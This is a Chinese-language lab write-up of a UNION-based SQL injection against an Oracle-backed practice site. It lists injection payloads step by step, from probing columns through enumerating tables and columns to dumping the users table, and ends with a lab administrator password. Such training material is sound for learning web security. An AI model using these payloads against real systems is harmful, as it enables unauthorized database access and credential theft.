# Web SQL injection Lab6 這題 Lab 是一個經典的 UNION-based SQL Injection(聯集查詢型 SQL 注入),目的是透過注入來: - 列出資料表名稱 - 找到帳密儲存的表格 - 查出帳號與密碼欄位名稱 - 查出所有帳密內容 - 用 administrator 的帳號登入完成挑戰 一樣先進到網站裡。 ![image](https://hackmd.io/_uploads/B14ZVf47gl.png) 先攔截請求並修改。 ``` '+UNION+SELECT+'abc','def'+FROM+dual-- ``` - Oracle 不允許單純 SELECT 'abc','def',一定要 FROM dual - 若正常顯示 abc 和 def,代表查詢回傳的是 兩個文字欄位 ![image](https://hackmd.io/_uploads/Sy855z4mgg.png) 都有顯示出來,所以可以進行下一步。 接著列出所有資料表名稱。 ``` '+UNION+SELECT+table_name,+NULL+FROM+all_tables-- ``` Oracle 中 `information_schema.tables` → 對應的是 `all_tables` 觀察頁面,看是否有類似 USERS 的表格名稱出現。 ![image](https://hackmd.io/_uploads/B1z1ozVmxg.png) 顯然有一個可疑的`USERS_KLCCFR`,所以我們列出表格內容。 ``` '+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name='USERS_KLCCFR'-- ``` ![image](https://hackmd.io/_uploads/BkEtjzN7ee.png) ![image](https://hackmd.io/_uploads/BJTKjfVmxl.png) 確定兩個欄位 `USERNAME_UGDAJN` 和 `PASSWORD_TMQJBL` 分別是存放 username 跟 password。 ``` '+UNION+SELECT+USERNAME_UGDAJN,PASSWORD_TMQJBL+FROM+USERS_KLCCFR-- ``` ![image](https://hackmd.io/_uploads/rJ8M3fEXxe.png) 確實查到了帳號密碼,所以我們拿去登入看看。 `administrator:mltjvvf0nkol9104r8fj` ![image](https://hackmd.io/_uploads/HJHS2zVmxg.png)